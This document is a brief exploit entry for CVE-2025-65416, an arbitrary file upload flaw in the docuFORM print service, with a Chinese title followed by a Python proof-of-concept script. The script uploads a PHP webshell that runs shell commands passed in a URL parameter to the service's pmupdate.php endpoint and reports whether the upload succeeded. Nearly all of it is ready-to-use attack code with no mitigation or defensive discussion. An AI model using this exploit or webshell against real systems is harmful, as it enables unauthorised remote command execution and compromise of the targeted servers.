CVE-2025-65416 docuFORM打印服务任意文件上传漏洞

import requests # Target URL containing the vulnerable file url = "http://target-ip/pmupdate.php" # Path to the malicious file to upload (e.g., PHP webshell) file_path = "evil_shell.php" # Generate a simple PHP webshell content php_content = "<?php system($_GET['cmd']); ?>" # Prepare the files dictionary for the upload request # The parameter name 'file' might vary based on the application's form input name files = { 'file': (file_path, php_content, 'application/octet-stream') } try: # Send POST request to upload the file response = requests.post(url, files=files, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully.") print("[+] Check the upload directory to access the shell.") else: print(f"[-] Upload failed with status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")